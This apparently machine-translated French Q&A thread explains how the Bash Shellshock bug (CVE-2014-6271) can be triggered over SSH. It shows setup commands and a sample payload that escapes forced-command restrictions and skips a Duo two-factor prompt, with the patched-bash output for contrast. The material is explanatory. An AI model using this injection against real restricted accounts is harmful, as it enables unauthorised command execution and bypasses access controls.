comment shellshock peut-il être exploité sur SSH?

Apparemment, l'exploit Csh-2014-6271 de Bash shellshock peut être exploité sur le réseau via SSH. Je peux imaginer comment l'exploit fonctionnerait avec Apache / CGI, mais je ne peux pas imaginer comment cela fonctionnerait avec SSH?

Quelqu'un peut-il, s'il vous plaît, donner un exemple de la manière dont la SSH serait exploitée et quel préjudice pourrait être causé au système?

CLARIFICATION

AFAIU, seul un utilisateur authentifié peut exploiter cette vulnérabilité via SSH. À quoi sert cet exploit pour quelqu'un qui a de toute façon un accès légitime au système? Je veux dire, cet exploit n'a pas d'élévation de privilèges (il ne peut pas devenir root), il ne peut donc pas faire plus qu'il n'aurait pu faire après s'être connecté de manière légitime via SSH.

Un exemple où ceci peut être exploité est sur des serveurs avec une authorized_keyscommande forcée. Lors de l'ajout d'une entrée à ~/.ssh/authorized_keys, vous pouvez préfixer la ligne avec command="foo"pour forcer fool'exécution à chaque fois que la clé publique ssh est utilisée. Avec cet exploit, si le shell de l'utilisateur cible est défini sur bash, ceux-ci peuvent en tirer parti pour exécuter des opérations autres que la commande à laquelle ils sont obligés.

Cela aurait probablement plus de sens dans l'exemple, alors voici un exemple:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Ici, nous configurons un utilisateur testuser, qui force toutes les connexions SSH utilisant votre clé SSH à s'exécuter echo starting sleep; sleep 1.

Nous pouvons tester cela avec:

$ ssh testuser@localhost echo something else
starting sleep

Notez que notre commande ne s'exécute echo something elsepas, mais qu'elle starting sleepindique que la commande forcée a été exécutée.

Voyons maintenant comment cet exploit peut être utilisé:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Cela fonctionne car sshddéfinit la SSH_ORIGINAL_COMMANDvariable d'environnement sur la commande transmise. Ainsi, même s’il a été sshdexécuté sleep, et non la commande à laquelle je l’ai dit, à cause de l’exploit, mon code est toujours exécuté.

Reprenons l'exemple de Ramesh: si vous utilisez une authentification à deux facteurs, il est possible de contourner le deuxième facteur à l'aide de cet exploit, en fonction de la manière dont il est implémenté.

- Connexion normale -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Code en cours d'exécution sans 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Vous remarquerez qu'il a exécuté le code sans demander 2FA.

- Après avoir patché bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

Shellshock est une vulnérabilité sur bash, pas sur SSH. Pour l'exploiter, un attaquant doit obliger le système vulnérable à exécuter bash et à contrôler la valeur d'une variable d'environnement qui sera transmise à bash.

Pour pouvoir accéder à un processus bash via SSH, l'attaquant doit réussir les étapes d'authentification. (Il peut exister des vecteurs d'attaque via d'autres services réseau, mais ils dépassent le cadre de ce fil.) Si le compte est autorisé à exécuter des commandes shell arbitraires, il n'y a pas d'attaque. La vulnérabilité entre en jeu si le compte est limité à l'exécution de commandes spécifiques: par exemple, un compte uniquement SFTP ou un compte git uniquement, etc.

Il existe plusieurs façons de restreindre un compte à l’exécution d’une commande spécifique avec SSH: avec l’ ForceCommandoption in sshd_configou avec a command=. restriction dans le authorized_keysfichier. Si le shell de l'utilisateur est bash, la vulnérabilité Shellshock permet à un utilisateur qui aurait normalement accès uniquement au compte restreint de contourner la restriction et d'exécuter des commandes arbitraires.